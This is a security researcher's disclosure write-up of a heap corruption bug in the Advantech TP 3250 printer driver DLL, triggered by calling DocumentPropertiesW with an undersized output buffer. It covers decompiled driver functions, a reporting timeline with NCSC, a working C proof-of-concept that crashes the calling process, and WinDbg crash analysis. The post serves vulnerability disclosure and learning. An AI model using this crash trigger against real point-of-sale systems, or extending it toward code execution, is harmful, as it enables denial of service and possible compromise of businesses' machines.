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Heap Corruption in Advantech TP 3250 Printer Driver (DrvUI_x64_ADVANTECH.dll) via DocumentPropertiesW
Note: This post is currently under review. Last updated: 2025-10-08
TLDR:
- There is a bug in the DrvUI_x64_ADVANTECH.dll when DocumentPropertiesW() is called with a valid dmDriverExtra but an undersized output buffer.
- I was only able to cause a crash, but I think you could move it to a code execution, but that would only be in the user space and not kernel.
- Minimal crash PoC can be found in the appendix.
- Affected dll: DrvUI_x64_ADVANTECH.dll (v0.3.9200.20789).
- Driver can be found here: https://www.advantech.com/emt/support/details/driver?id=1-2LFJBRQ
Background:
Recently while doing some reading on security news, I had reaslised that I had never really done any research into any windows drivers. I also noticed that almost every shop that I go into has a receipt printer! So I though this would be an amazing target, as I had also noticed that 99% of the POS terminals I have seen also run windows (an outdated one at that). Choosing Advantech was just the first brand of printer I saw at my local takeaway. This was also my first forray into learning ghidra in any real detail, and it was a lot of fun!
Test env:
- Virtual box running Microsoft Windows 10 build 19041 x64
- Clean VM with only Windgb, Vbox additions, and the driver installed.
- A remote path to my host machine to move exes and other files around.
Repro:
1: Compile the crash_min.c file in the appendix eg: x86_64-w64-mingw32-gcc
crash_min.c -o crash_min.exe -lwinspool
2: Enable crash dumps on the Windows system. Run the following commands in Admin Powershell:
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" -Force | Out-Null
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" `
-Name "DumpFolder" -Value "C:\Dumps" -PropertyType ExpandString -Force | Out-Null
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" `
-Name "DumpType" -Value 2 -PropertyType DWord -Force | Out-Null # 2 = Full dump
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" `
-Name "DumpCount" -Value 10 -PropertyType DWord -Force | Out-Null
3: Install the driver from the above link (in TLDR)
4: Run the compiled code, and view the crash_min.exe.2896 file in the C:\Dumps\ dir
This should match the crash output in the appendix :)
The Bug
The bug lies in the drivers assumption that the output buffer that has been given to it is as big as the buffer given as the input. However since both of these are user controlled you can make that not so. With an undersized output buffer you can force the down stream logic to perform an invalid free on teh heap memory that it thinks it owns.
What this looks like it Ghidra
First things first, since I was looking at memory level issues, I did the basic search for malloc, memcpy, new and free.
memcpy seemed to show the most interesting things, these are the functions that looked interesting to me, and are the root of this bug:
But first here is a simplified call graph:
DocumentPropertiesW → DrvDocumentPropertySheets → FUN_180027d30 → FUN_180027c0c → memcpy(…) → heap corruption
For reference here are the offsets that are used in the functions:
DrvDocumentPropertySheets(param_1, param_2) →
param_2+0x18 = pdmIn,
param_2+0x20 = pdmOut,
param_2+0x2C = fMode,
param_2+0x28 = cbNeeded.
FUN_180027d30(pIn, pIn2, pOut)
If pIn2 == NULL: memcpy(pOut, pIn, pIn->dmSize + pIn->dmDriverExtra) - This will might be another bug…
If pIn2 != NULL (PoC path):
Sets pOut->dmSize = min(pIn->dmSize, pIn2->dmSize)
Sets pOut->dmDriverExtra = min(pIn->dmDriverExtra, pIn2->dmDriverExtra)
Calls FUN_180027c0c(pIn, pOut) to perform the actual header+tail copies.
FUN_180027c0c(pIn, pOut)
Copies Header bytes: hdr = min(pIn->dmSize, pOut->dmSize)
memcpy(pOut, pIn, hdr)
Copies tail or extra bytes: tail = min(pIn->dmDriverExtra, pOut->dmDriverExtra)
memcpy((BYTE*)pOut + pOut->dmSize, (BYTE*)pIn + pIn->dmSize, tail)
By design this should write a total of hdr + tail bytes However if pOut is less that written we will get our bug.
Full functions
int DrvDocumentPropertySheets(longlong param_1,longlong param_2)
{
uint uVar1;
longlong lVar2;
int iVar3;
HANDLE *ppvVar4;
int iVar5;
iVar5 = -1;
/* 0x12a50 261 DrvDocumentPropertySheets */
iVar3 = -1;
if (param_1 == 0) {
if (param_2 != 0) {
uVar1 = *(uint *)(param_2 + 0x2c);
if ((uVar1 == 0) || (*(longlong *)(param_2 + 0x20) == 0)) {
iVar3 = 0x1250;
*(undefined4 *)(param_2 + 0x28) = 0x1250;
}
else if (((uVar1 & 3) == 0) || ((uVar1 & 0x20) != 0)) {
iVar3 = 1;
}
else {
ppvVar4 = FUN_180012d88(*(HANDLE *)(param_2 + 8),*(void **)(param_2 + 0x18),0,0);
if (ppvVar4 != (HANDLE *)0x0) {
FUN_180027d30((void *)((longlong)ppvVar4 + 0x3c),*(longlong *)(param_2 + 0x18),
*(void **)(param_2 + 0x20));
iVar3 = 1;
FUN_180012f3c(ppvVar4);
}
}
}
}
...
bool FUN_180027d30(void *param_1,longlong param_2,void *param_3)
{
undefined2 uVar1;
int iVar2;
if (param_2 == 0) {
...
}
else if ((param_1 != (void *)0x0) && (param_3 != (void *)0x0)) {
if (*(ushort *)(param_2 + 0x44) < *(ushort *)((longlong)param_1 + 0x44)) {
*(undefined2 *)((longlong)param_3 + 0x40) = *(undefined2 *)(param_2 + 0x40);
uVar1 = *(undefined2 *)(param_2 + 0x44);
}
else {
*(undefined2 *)((longlong)param_3 + 0x40) = *(undefined2 *)((longlong)param_1 + 0x40);
uVar1 = *(undefined2 *)((longlong)param_1 + 0x44);
}
*(undefined2 *)((longlong)param_3 + 0x44) = uVar1;
if (*(ushort *)(param_2 + 0x46) < *(ushort *)((longlong)param_1 + 0x46)) {
*(undefined2 *)((longlong)param_3 + 0x42) = *(undefined2 *)(param_2 + 0x42);
*(undefined2 *)((longlong)param_3 + 0x46) = *(undefined2 *)(param_2 + 0x46);
}
else {
*(undefined2 *)((longlong)param_3 + 0x42) = *(undefined2 *)((longlong)param_1 + 0x42);
*(undefined2 *)((longlong)param_3 + 0x46) = *(undefined2 *)((longlong)param_1 + 0x46);
}
iVar2 = FUN_180027c0c(param_1,param_3);
return 0 < iVar2;
}
return false;
}
int FUN_180027c0c(void *param_1,void *param_2)
{
ushort uVar1;
undefined2 uVar2;
ushort uVar3;
ushort uVar4;
ushort uVar5;
short sVar6;
short sVar7;
uint uVar8;
int iVar9;
if (param_2 == (void *)0x0) {
LAB_180027d06:
iVar9 = -1;
}
else {
uVar8 = (uint)*(ushort *)((longlong)param_1 + 0x44);
sVar7 = 800;
if (uVar8 == 0xbc) {
...
}
else {
if (uVar1 != 0xdc) {
sVar7 = *(short *)((longlong)param_2 + 0x40);
goto LAB_180027c88;
}
sVar7 = 0x401;
}
uVar2 = *(undefined2 *)((longlong)param_2 + 0x42);
uVar3 = *(ushort *)((longlong)param_2 + 0x46);
if (uVar1 < *(ushort *)((longlong)param_1 + 0x44)) {
uVar8 = (uint)uVar1;
}
memcpy(param_2,param_1,(longlong)(int)uVar8);
*(short *)((longlong)param_2 + 0x40) = sVar7;
*(undefined2 *)((longlong)param_2 + 0x42) = uVar2;
*(ushort *)((longlong)param_2 + 0x44) = uVar1;
*(ushort *)((longlong)param_2 + 0x46) = uVar3;
uVar4 = *(ushort *)((longlong)param_1 + 0x46);
uVar5 = uVar3;
if (uVar4 <= uVar3) {
uVar5 = uVar4;
}
iVar9 = uVar8 + uVar5;
if (uVar3 < uVar4) {
uVar4 = uVar3;
}
memcpy((void *)((longlong)param_2 + (ulonglong)uVar1),
(void *)((ulonglong)*(ushort *)((longlong)param_1 + 0x44) + (longlong)param_1),
(longlong)(int)(uint)uVar4);
}
return iVar9;
}
Now the main issue here is that final memcpy, it is assuming that the output
((void *)((longlong)param_2 + (ulonglong)uVar1)) has been allocated with at
least the required amout of memory.
Impact:
- This is ONLY in user space so there is no risk of Kernel comprimise here, this is a user-mode DLL not a kernel mode.
- Due to the above I dont think its possible for privilege escalation.
- This can cause a dos attack on any process that is trying to invoke the
DocumentPropertiesW - Since this is a heap corruption error in usermode then I think someone smarter than me would be able to move this into code execution.
Timeline:
- Tue, Jul 29 2025: Bug discovered and reported to NCSC
- Fri, Aug 1 2025: Response from NCSC
- Wed, Aug 13 2025: NCSC reported bug to vendor
- Mon, Oct 6 2025: NCSC informed me that the disclosure period has ended and I am free to post about this.
Appendix:
A - POC
Note that this is just to show the crash, and this is not publishing any real exploit.
#include <windows.h>
#include <winspool.h>
#include <stdio.h>
int main() {
HANDLE hPrinter;
WCHAR printerName[] = L"TP 3250"; // Is this always the same for all printers?? doesnt feel right ..
if (!OpenPrinterW(printerName, &hPrinter, NULL)) {
printf("OpenPrinterW failed: %lu\n", GetLastError());
return 1;
}
printf("OpenPrinterW successful: handle = %p\n", hPrinter);
DWORD extra = 0x740;
DWORD outBufSize = 320;
BYTE inputBuf[0x800] = {0};
PDEVMODEW pIn = (PDEVMODEW)inputBuf;
wcscpy(pIn->dmDeviceName, printerName);
pIn->dmSize = sizeof(DEVMODEW);
pIn->dmDriverExtra = extra;
BYTE *outBuf = (BYTE*)malloc(outBufSize);
if (!outBuf) {
printf("wtf failed to allocate output buffer\n");
ClosePrinter(hPrinter);
return 1;
}
memset(outBuf, 0xCC, outBufSize);
printf("calling DocumentPropertiesW() with dmDriverExtra = 0x%lx, outBuf = %lu bytes\n", extra, outBufSize);
LONG r = DocumentPropertiesW(NULL, hPrinter, printerName, (PDEVMODEW)outBuf, pIn, DM_OUT_BUFFER | DM_IN_BUFFER);
if (r == IDOK) {
printf("DocumentPropertiesW returned: %ld\n", r);
} else {
printf("DocumentPropertiesW failed with: %lu\n", GetLastError());
}
free(outBuf);
ClosePrinter(hPrinter);
return 0;
}
B - WinDbg output
0:000> !analyze -v
.........................
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Check Image - Checksum mismatch - Dump: 0x1f3b32, File: 0x1fd444 - C:\ProgramData\Dbg\sym\ntdll.dll\D1CD38081F8000\ntdll.dll
Unable to load image \\VBOXSVR\advantech\crash_min.exe, Win32 error 0n2
KEY_VALUES_STRING: 1
Key : Analysis.CPU.mSec
Value: 1015
Key : Analysis.Elapsed.mSec
Value: 32828
Key : Analysis.IO.Other.Mb
Value: 0
Key : Analysis.IO.Read.Mb
Value: 1
Key : Analysis.IO.Write.Mb
Value: 0
Key : Analysis.Init.CPU.mSec
Value: 781
Key : Analysis.Init.Elapsed.mSec
Value: 45351
Key : Analysis.Memory.CommitPeak.Mb
Value: 83
Key : Analysis.Version.DbgEng
Value: 10.0.27871.1001
Key : Analysis.Version.Description
Value: 10.2505.01.02 amd64fre
Key : Analysis.Version.Ext
Value: 1.2505.1.2
Key : Failure.Bucket
Value: HEAP_CORRUPTION_ACTIONABLE_ListEntryCorruption_c0000374_DrvUI_x64_ADVANTECH.dll!Unknown
Key : Failure.Exception.Code
Value: 0xc0000374
Key : Failure.Exception.IP.Address
Value: 0x7ffc995ef3c9
Key : Failure.Exception.IP.Module
Value: ntdll
Key : Failure.Exception.IP.Offset
Value: 0xff3c9
Key : Failure.Hash
Value: {f73b6e40-eff5-e543-d66a-d70b778facc2}
Key : Failure.ProblemClass.Primary
Value: HEAP_CORRUPTION
Key : Timeline.OS.Boot.DeltaSec
Value: 1252
Key : Timeline.Process.Start.DeltaSec
Value: 8
Key : WER.OS.Branch
Value: vb_release
Key : WER.OS.Version
Value: 10.0.19041.1
FILE_IN_CAB: crash_min.exe.2896.dmp
NTGLOBALFLAG: 40000400
APPLICATION_VERIFIER_FLAGS: 0
CONTEXT: (.ecxr)
rax=0000000000000000 rbx=00000000c0000374 rcx=0000000000000000
rdx=0000000000000000 rsi=0000000000000001 rdi=00007ffc996597f0
rip=00007ffc995ef3c9 rsp=00000012c47fe880 rbp=0000000000000000
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=0000000000000000 r12=0000017919ed0150 r13=0000000000000000
r14=0000017919ed5c10 r15=0000017919ed1820
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!RtlReportFatalFailure+0x9:
00007ffc`995ef3c9 eb00 jmp ntdll!RtlReportFatalFailure+0xb (00007ffc`995ef3cb)
Resetting default scope
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 00007ffc995ef3c9 (ntdll!RtlReportFatalFailure+0x0000000000000009)
ExceptionCode: c0000374
ExceptionFlags: 00000001
NumberParameters: 1
Parameter[0]: 00007ffc996597f0
PROCESS_NAME: crash_min.exe
ERROR_CODE: (NTSTATUS) 0xc0000374 - A heap has been corrupted.
EXCEPTION_CODE_STR: c0000374
EXCEPTION_PARAMETER1: 00007ffc996597f0
STACK_TEXT:
00000012`c47fe880 00007ffc`995ef393 : 00007ffc`99636e80 00000012`c47ff830 00000000`00000000 00000000`00000000 : ntdll!RtlReportFatalFailure+0x9
00000012`c47fe8d0 00007ffc`995f8112 : 00000000`00000000 00007ffc`996597f0 00000000`0000000d 00000179`19ed0000 : ntdll!RtlReportCriticalFailure+0x97
00000012`c47fe9c0 00007ffc`995f83fa : 00000000`0000000d 00000000`00000000 00000179`19ed0000 00000000`00000000 : ntdll!RtlpHeapHandleError+0x12
00000012`c47fe9f0 00007ffc`995fe081 : 00000179`19ed0000 00000179`19ed5af0 00000000`00000000 00000000`00000000 : ntdll!RtlpHpHeapHandleError+0x7a
00000012`c47fea20 00007ffc`99516625 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlpLogHeapFailure+0x45
00000012`c47fea50 00007ffc`99515b74 : 00000179`19ed0000 00000179`19ed0000 00000179`19ed5af0 00000179`19ed0000 : ntdll!RtlpFreeHeap+0xa25
00000012`c47fec00 00007ffc`995147b1 : 00000012`c47fef10 00000179`19ed0000 00000000`00000000 00000000`00000000 : ntdll!RtlpFreeHeapInternal+0x464
00000012`c47fecc0 00007ffc`992e9c9c : 00000179`19ed6140 00000179`19ed6140 00000179`19c05e20 00000000`00000000 : ntdll!RtlFreeHeap+0x51
00000012`c47fed00 00007ffc`58ce2f5c : 00000000`00000000 00000000`00000000 00000179`19ed6140 00000012`c47fee20 : msvcrt!free+0x1c
00000012`c47fed30 00007ffc`58ce2b62 : 00000000`00000001 00000000`00000000 00007ffc`58cd0000 00000012`c47fee20 : DrvUI_x64_ADVANTECH!DevQueryPrintEx+0x1e0
00000012`c47fed60 00007ffc`60718a76 : ffffffff`ffffffff 00000000`00000000 00007ffc`58cd0000 00000000`00000000 : DrvUI_x64_ADVANTECH!DrvDocumentPropertySheets+0x112
00000012`c47feda0 00007ffc`6071732a : 00000000`0000000a 00000000`0000000a 00000012`c47fee50 00000012`c47fef10 : winspool!DocumentPropertySheets+0xc6
00000012`c47fedf0 00007ffc`60716b3f : 00000000`0000000a 00000179`19c05e20 00000000`0000081c 00000012`c47fef10 : winspool!DocumentPropertiesWNative+0xce
00000012`c47fee80 00007ff7`911c1692 : 00000000`00000008 00000012`c47fef60 00000000`00000022 00000012`c47ff710 : winspool!DocumentPropertiesW+0x8f
00000012`c47feee0 00007ff7`911c1307 : 00000000`00000000 00000000`00000022 00007ff7`911cc048 00000000`00000000 : crash_min+0x1692
00000012`c47ff770 00007ff7`911c142a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : crash_min+0x1307
00000012`c47ff7d0 00007ffc`97ab7374 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : crash_min+0x142a
00000012`c47ff800 00007ffc`9953cc91 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0x14
00000012`c47ff830 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
STACK_COMMAND: ~0s; .ecxr ; kb
SYMBOL_NAME: DrvUI_x64_ADVANTECH+12f5c
MODULE_NAME: DrvUI_x64_ADVANTECH
IMAGE_NAME: DrvUI_x64_ADVANTECH.dll
BUCKET_ID_MODPRIVATE: 1
FAILURE_BUCKET_ID: HEAP_CORRUPTION_ACTIONABLE_ListEntryCorruption_c0000374_DrvUI_x64_ADVANTECH.dll!Unknown
OS_VERSION: 10.0.19041.1
BUILDLAB_STR: vb_release
OSPLATFORM_TYPE: x64
OSNAME: Windows 10
IMAGE_VERSION: 0.3.9200.20789
FAILURE_ID_HASH: {f73b6e40-eff5-e543-d66a-d70b778facc2}
Followup: MachineOwner